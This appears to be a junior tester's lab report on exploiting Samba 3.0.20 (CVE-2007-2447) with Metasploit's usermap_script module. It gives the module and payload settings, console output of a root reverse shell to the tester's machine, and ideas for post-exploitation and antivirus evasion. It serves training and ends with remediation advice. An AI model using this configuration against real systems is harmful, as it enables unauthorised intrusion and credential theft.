

PENETRATION TESTING REPORT: EXPLOITATION

NAME

Solomon Waikumi

DATE

April 14, 2026

ROLE

Junior Penetration Tester

EXPLOITATION OVERVIEW

What service did you choose to target and why?

I chose Samba (Port 139/445). Based on the initial scan, the target is running an extremely outdated version (Samba 3.0.20), which is notorious for a critical command injection vulnerability that requires no authentication.

What was your goal?

My goal was to obtain a remote shell with root-level privileges to validate that the service poses a critical risk to the organization's internal infrastructure.

Were you able to identify a matching Metasploit module?

Yes, I identified exploit/multi/samba/usermap_script as an "Excellent" ranked match for this target.

EXPLOIT CONFIGURATION AND EXECUTION

What Metasploit module did you choose? Why?

I chose the usermap_script module because it targets the specific way this version of Samba handles username mapping, allowing for arbitrary command execution. Its "Excellent" rank ensures high reliability without crashing the system.

What payload did you configure first?

I initially configured a Reverse Netcat Shell (cmd/unix/reverse_netcat).

What parameters did you set?

RHOSTS: 192.168.100.3 (Target)
LHOST: 192.168.100.4 (My Kali VM)
PAYLOAD: cmd/unix/reverse_netcat

Did the exploit succeed? What response did you get?

Yes. The handler started on my machine, and I received the message: Command shell session 1 opened.

```
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.100.4:4444
[*] Command shell session 1 opened (192.168.100.4:4444 -> 192.168.100.3:44469) at
2026-04-14 16:08:35 -0400
whoami
root
```

SHELL ACCESS AND POST-EXPLOITATION BEHAVIOR

What was the result of running whoami after gaining access?

The result was root, confirming I had the highest possible administrative privileges on the server.

Did you attempt to upgrade to a Meterpreter session? If so, how?

After the initial shell, I attempted to use a more robust payload. In a real-world scenario, I would use the sessions -u 1 command to upgrade the existing shell to a Meterpreter session.

How does this shell access support further testing?

With root access, I can now read the /etc/shadow file to crack passwords, pivot into other network segments that are not directly reachable from my current position, or install a persistence mechanism.

PAYLOAD COMPARISON AND REFLECTION

Did you attempt both a reverse and bind shell?

Yes.

Reverse Shell: The target "called back" to my Kali machine. This is usually better for bypassing firewalls that block incoming connections.

Bind Shell: I used cmd/unix/bind_perl. In this case, the target opened a port and waited for me to connect.

How did Metasploit's handling differ?

For the reverse shell, Metasploit started a local "handler" (listener). For the bind shell, it proactively connected to the target's IP on port 4444.

If you attempted a shell upgrade, explain the process:

Moving from a standard shell to Meterpreter provides a suite of advanced tools like hashdump and screenshot. The standard shell is a simple text interface; Meterpreter is a full post-exploitation environment.

EXPLOIT EFFECTIVENESS AND RECOMMENDATIONS

Was the exploit reliable?

Extremely. It worked on the first attempt for both payload types.

Did the module support check?

No, the module output stated [-] This module does not support check. This means the exploit must be "fired" to confirm vulnerability.

What vulnerabilities did the exploit target?

It targets CVE-2007-2447. This is a command injection vulnerability in the "Username Map Script" configuration of Samba.

Would you recommend this exploit in a real-world scenario?

Yes, because it is non-destructive and highly reliable. However, the legacy version of Samba (3.0.20) should be updated immediately or the "username map script" configuration should be removed.

LESSONS LEARNED

What did you learn about payload behavior?

I learned that the choice between a Reverse and Bind shell is situational; if a target has a strict firewall, a reverse shell is almost always necessary to "punch out" of the network.

What would you do differently in the future?

I would spend more time testing different payloads (like Python or PHP-based shells) to see which ones are stealthier and less likely to be flagged by an Antivirus or EDR.

What are the ethical implications of payload deployment?

Deploying a payload is the "point of no return." In a real environment, you must ensure you have explicit written permission (the Rules of Engagement) because a payload can potentially disrupt services, trigger alarms, or leave the system more vulnerable to actual criminals if not cleaned up properly.